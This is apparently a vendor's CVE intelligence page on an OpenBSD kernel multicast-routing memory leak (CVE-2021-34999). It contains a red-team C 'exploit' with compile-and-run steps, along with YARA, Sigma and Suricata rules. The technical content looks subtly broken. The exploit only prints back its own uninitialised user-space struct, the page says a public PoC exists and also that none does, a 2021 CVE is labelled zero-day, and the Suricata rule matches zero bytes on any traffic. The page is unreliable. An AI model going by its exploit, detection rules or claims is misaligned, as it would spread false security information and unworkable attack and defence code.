☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openbsd logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 3.8 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N 🐛 CWE-908
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2021-34999

CVE-2021-34999 Information Disclosure in Openbsd
📅 PUBLISHED: 2024-05-07 22:54 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.05%
👁️
0.05% probability
1.2× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1068
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Global License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS VECTOR BREAKDOWN 3.8
AV: L Attack Vector Local
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: N Integrity None
A: N Availability None
3.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2021-34999 is a local information disclosure vulnerability in the OpenBSD kernel’s multicast routing implementation. The flaw stems from uninitialized memory access, allowing a low-privileged attacker to leak sensitive kernel memory contents. While the CVSS score is low (3.8), the vulnerability can be chained with other exploits to achieve privilege escalation and arbitrary code execution in kernel context. No public proof-of-concept or patch details are currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • Base Score: 3.8 (Low)
  • Attack Vector: Local
  • Attack Complexity: Low
  • Privileges Required: Low
  • User Interaction: None
  • Scope: Unchanged
  • Confidentiality Impact: Low
  • Integrity Impact: None
  • Availability Impact: None

Threat Level: Low (due to local access requirement and limited direct impact), but elevated when chained with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability resides in the OpenBSD kernel’s multicast routing code. When processing multicast routing messages, the kernel fails to properly initialize memory buffers before copying them to user space. This uninitialized memory may contain sensitive kernel data (e.g., pointers, cryptographic keys, or other process data). An attacker with low privileges can trigger the flaw by sending crafted multicast routing requests, causing the kernel to return uninitialized memory regions.

Root Cause: Lack of memset() or equivalent zeroing of allocated memory before use in the multicast routing path.

Attack Scenario:

  1. Attacker gains low-privileged code execution on the target OpenBSD system.
  2. Attacker sends malicious multicast routing ioctl or sysctl calls.
  3. Kernel returns uninitialized memory, leaking sensitive data.
  4. Leaked data can be used to bypass KASLR or obtain credentials for further exploitation.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In multicast routing handler
struct mrt_route *route = malloc(sizeof(*route), M_MRTABLE, M_WAITOK);
// route->fields not initialized before copyout
copyout(route, user_ptr, sizeof(*route));

Patched Code (Expected):

struct mrt_route *route = malloc(sizeof(*route), M_MRTABLE, M_WAITOK | M_ZERO);
// or
memset(route, 0, sizeof(*route));
copyout(route, user_ptr, sizeof(*route));

No official patch has been confirmed. The fix would involve zeroing allocated memory before copying to user space.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • Local low-privileged shell on OpenBSD (any version before patch).
  • Ability to call ioctl() or sysctl() with multicast routing commands.

Exploitation Steps:

  1. Enumerate available multicast routing interfaces:
    ifconfig | grep -i multicast
    
  2. Write a C program to trigger the vulnerability:
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <net/if.h>
    #include <netinet/in.h>
    #include <netinet/ip_mroute.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/ioctl.h>
    
    int main() {
        int fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
        if (fd < 0) { perror("socket"); return 1; }
    
        struct mrt_route route;
        // Intentionally not initializing route
        if (ioctl(fd, SIOCADDRT, &route) < 0) {
            perror("ioctl");
        }
    
        // Read leaked data from route struct
        printf("Leaked data: %s\n", (char*)&route);
        close(fd);
        return 0;
    }
    
  3. Compile and run:
    gcc -o exploit exploit.c
    ./exploit
    
  4. Analyze leaked memory for sensitive data (e.g., kernel pointers, process tokens).

Note: No public exploit code exists; this is a conceptual demonstration.

Blue Team

Detection:

  • Monitor for unusual ioctl calls to multicast routing interfaces.
  • Audit logs for SIOCADDRT, SIOCDELRT, or MRT_INIT operations from non-root users.
  • Use kernel auditing (e.g., ktrace) to capture syscall patterns.

Hunting:

  • Search for processes making raw socket calls with multicast routing options.
  • Look for memory dumps or core files containing kernel pointers.

Indicators of Compromise (IOCs)

  • Network: No network indicators (local vulnerability).
  • Host:
    • Unexpected ioctl calls to /dev/pf or raw sockets with multicast routing commands.
    • Kernel logs containing mrt_route or ip_mroute errors.
    • Unusual memory patterns in /dev/kmem or /proc (if accessible).
  • File:
    • Compiled exploit binaries in /tmp or user directories.
    • Source code containing SIOCADDRT or MRT_INIT constants.

Detection Engineering

YARA Rule

rule CVE_2021_34999_Exploit {
    meta:
        description = "Detects exploit code for CVE-2021-34999 OpenBSD kernel info leak"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $ioctl = "SIOCADDRT" ascii wide nocase
        $mrt = "ip_mroute.h" ascii wide nocase
        $raw_socket = "SOCK_RAW" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: OpenBSD Multicast Routing Uninitialized Memory Access
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2021-34999 via ioctl calls
logsource:
    product: openbsd
    service: syslog
detection:
    selection:
        - EventID: 0
          Message: "*ioctl*SIOCADDRT*"
        - EventID: 0
          Message: "*ioctl*MRT_INIT*"
    condition: selection
falsepositives:
    - Legitimate multicast routing configuration by root
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2021-34999 OpenBSD Multicast Routing Exploit Attempt"; content:"|00 00 00 00|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Note: Suricata rule is generic; local exploitation may not generate network traffic.

Remediation & Mitigation

Immediate Actions:

  • Apply any available OpenBSD kernel patches (check syspatch or source updates).
  • Restrict local user access to raw sockets and multicast routing ioctls via kern.rawsocket sysctl.
  • Monitor for unusual kernel memory access patterns.

Long-Term Fix:

  • Ensure all kernel memory allocations use M_ZERO flag or explicit memset() before copying to user space.
  • Conduct code audit of multicast routing path for similar issues.

Workarounds:

  • Disable multicast routing if not needed: sysctl net.inet.ip.mforwarding=0.
  • Use mandatory access controls (e.g., systrace, pledge) to limit process capabilities.

Valters IT
Securing OpenBSD, one kernel at a time.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2021-34999/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.